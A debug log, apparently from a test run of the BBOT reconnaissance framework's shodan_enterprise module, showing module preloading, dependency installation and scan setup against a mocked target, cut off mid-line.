+2026-03-01 16:53:22,713 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:53:22,714 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:53:22,714 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:53:22,715 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:53:22,715 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:53:22,716 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:53:22,716 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:53:22,718 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:53:22,718 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:53:22,718 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:53:22,719 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:53:22,725 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:53:22,725 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:53:22,726 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:53:22,727 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:53:22,728 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:53:22,729 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:53:22,730 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:53:22,731 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:53:22,731 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:53:22,732 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:53:22,734 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:53:22,735 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:53:22,735 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:53:22,736 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:53:22,737 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:53:22,737 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:53:22,738 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:53:22,738 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:53:22,739 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:53:22,739 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:53:22,740 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:53:22,740 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:53:22,741 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:53:22,741 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:53:22,742 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:53:22,743 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:53:22,743 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:53:22,745 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:53:22,746 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:53:22,746 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:53:22,747 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:53:22,748 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:53:22,748 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:53:22,749 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:53:22,749 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:53:22,750 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:53:22,750 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:53:22,751 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:53:22,751 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:53:22,752 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:53:22,753 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:53:22,753 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:53:22,754 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:53:22,754 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:53:22,755 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 16:53:22,756 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:53:22,756 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:53:22,757 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:53:22,758 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:53:22,758 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 16:53:22,759 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:53:22,759 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:53:22,760 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:53:22,761 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:53:22,762 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:53:22,762 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:53:22,763 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:53:22,764 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:53:22,764 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:53:22,765 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:53:22,765 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:53:22,766 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:53:22,767 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:53:22,767 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:53:22,768 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:53:22,769 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:53:22,769 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:53:22,770 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:53:22,770 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:53:22,771 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:53:22,772 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:53:22,772 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:53:22,773 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:53:22,773 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:53:22,774 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:53:22,774 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:53:22,775 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:53:22,775 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:53:22,776 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:53:22,776 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:53:22,777 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:53:22,778 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:53:22,778 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:53:22,779 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:53:22,780 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:53:22,781 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:53:22,782 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:53:22,782 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:53:22,783 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:53:22,784 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:53:22,784 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:53:22,785 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:53:22,786 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:53:22,786 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:53:22,787 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:53:22,788 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:53:22,788 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:53:22,789 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:53:22,790 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:53:22,791 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:53:22,792 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:53:22,793 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:53:22,793 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:53:22,794 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:53:22,794 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:53:22,795 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:53:22,796 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:53:22,796 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:53:22,797 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:53:22,797 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:53:22,798 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:53:22,798 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:53:22,799 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:53:22,799 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:53:22,800 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:53:22,801 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:53:22,801 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:53:22,802 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:53:22,803 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:53:22,806 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:53:22,806 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:53:22,808 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:53:22,808 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:53:22,809 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:53:22,810 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:53:22,811 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:53:22,812 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:53:22,812 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:53:22,813 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:53:22,813 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:53:22,815 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:53:22,815 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:53:23,898 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:53:23,899 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:53:23,899 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:53:24,040 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:53:24,620 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:53:24,621 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:53:24,621 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:53:24,622 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:53:24,836 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:53:24,837 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:53:24,948 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:53:24,948 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:53:25,003 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:53:25,005 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:53:25,006 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:53:25,437 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:53:25,438 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:53:29,894 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:53:29,895 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:53:29,895 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:53:31,664 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:53:31,664 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:53:31,670 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:53:31,670 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:53:31,670 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:53:31,670 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:53:31,674 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/4sezgmejrgjab3r5rx6d +2026-03-01 16:53:32,454 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:53:32,454 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:53:32,455 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:53:32,456 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:53:32,456 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:53:32,456 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:53:32,457 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:53:32,457 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:53:32,458 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:53:32,577 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:53:32,578 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:53:32,578 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:53:32,579 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:53:32,580 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:53:32,580 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:53:32,580 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:53:32,581 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:53:32,581 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:53:32,582 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:53:32,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:53:32,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:53:32,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:53:32,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:53:32,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:53:32,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:53:32,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:53:32,584 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:53:32,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:53:32,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:53:32,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:53:32,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:53:32,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:53:32,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:53:32,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:53:32,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:53:32,586 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:53:32,586 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:53:32,586 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:53:32,586 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:53:32,586 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:53:32,587 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:53:32,587 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:53:32,587 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:53:32,587 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:53:32,587 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:53:32,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:53:32,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:53:32,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:53:32,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:53:32,588 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:53:32,589 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:53:32,589 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:53:32,589 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:53:32,589 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:53:32,727 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_w29qre59v4 +2026-03-01 16:53:32,727 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:53:32,834 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:53:32,835 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:53:32,835 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:53:32,836 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-03-01 16:53:32,937 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check +2026-03-01 16:53:32,938 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-03-01 16:53:32,939 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-03-01 16:53:32,940 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-01 16:53:32,941 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:53:32,942 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:53:32,942 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-03-01 16:53:32,943 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-01 16:53:32,944 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:53:32,945 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:53:32,946 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:53:32,948 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 